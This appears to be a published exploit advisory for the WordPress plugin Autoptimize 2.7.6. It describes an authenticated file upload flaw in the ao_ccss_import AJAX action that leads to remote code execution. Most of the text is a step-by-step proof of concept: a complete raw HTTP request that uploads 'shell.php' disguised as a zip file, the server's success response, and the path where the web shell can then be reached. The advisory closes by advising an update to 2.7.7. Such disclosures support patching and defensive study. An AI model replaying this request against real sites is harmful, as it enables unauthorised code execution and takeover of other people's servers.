WordPress Autoptimize 2.7.6 Shell Upload

2020.08.28
Credit: SunCSR
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

# Exploit Title: Wordpress Plugin Autoptimize 2.7.6 - Arbitrary File Upload (Authenticated) # Date: 2020-08-24 # Software Link: https://wordpress.org/plugins/autoptimize/ # Author : SunCSR Team # Version: v2.7.6 # Tested on Ubuntu 18.04 / Kali Linux # Reference: https://wpvulndb.com/vulnerabilities/10372 Description : ------------------------------------------------------------------- The ao_ccss_import AJAX call does not ensure that the file provided is a legitimate Zip file, allowing high privilege users to upload arbitrary files, such as PHP, leading to RCE. [POC] Step 1 : POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1 Host: pwnme User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://pwnme.me/wordpress/wp-admin/options-general.php?page=ao_critcss X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------26086940735210916964189813544 Content-Length: 685 Origin: http://pwnme Connection: close Cookie: autoptimize_feed=1; wordpress_01c9c451f599e513a69d1e6bb6f8e273=admin%7C1598689405%7CiAGVovdBGV28Gk5pKstmbpGqYZA7Zbxq7lUoUBL0y6B%7Cc2f54fb4e357d2c591b7e5f53e6adb9531b0de5cc5fbc3cab3185f63917307cd; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_01c9c451f599e513a69d1e6bb6f8e273=admin%7C1598689405%7CiAGVovdBGV28Gk5pKstmbpGqYZA7Zbxq7lUoUBL0y6B%7C409cbfa6f750ff5902273e879e79d9f746c038c35228c978ea9cc3525eb12602; wp-settings-time-1=1598516614 -----------------------------404272946439029073744006559647 Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: application/zip <?php Shell Content Here ! ?> -----------------------------404272946439029073744006559647 Content-Disposition: form-data; name="action" ao_ccss_import -----------------------------404272946439029073744006559647 Content-Disposition: form-data; name="ao_ccss_import_nonce" f25ca64f22 -----------------------------404272946439029073744006559647-- [Response] HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Thu, 27 Aug 2020 08:21:08 GMT Content-Type: text/html; charset=UTF-8 Connection: close Access-Control-Allow-Origin: http://pwnme.me Access-Control-Allow-Credentials: true X-Robots-Tag: noindex X-Content-Type-Options: nosniff Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Frame-Options: SAMEORIGIN Referrer-Policy: strict-origin-when-cross-origin Content-Length: 53 {"code":"200","msg":"Settings imported successfully"} Step 2: Access to http://victim//wordpress/wp-content/uploads/ao_ccss/shell.php Recommendations: Update to version 2.7.7 Thank you very much!


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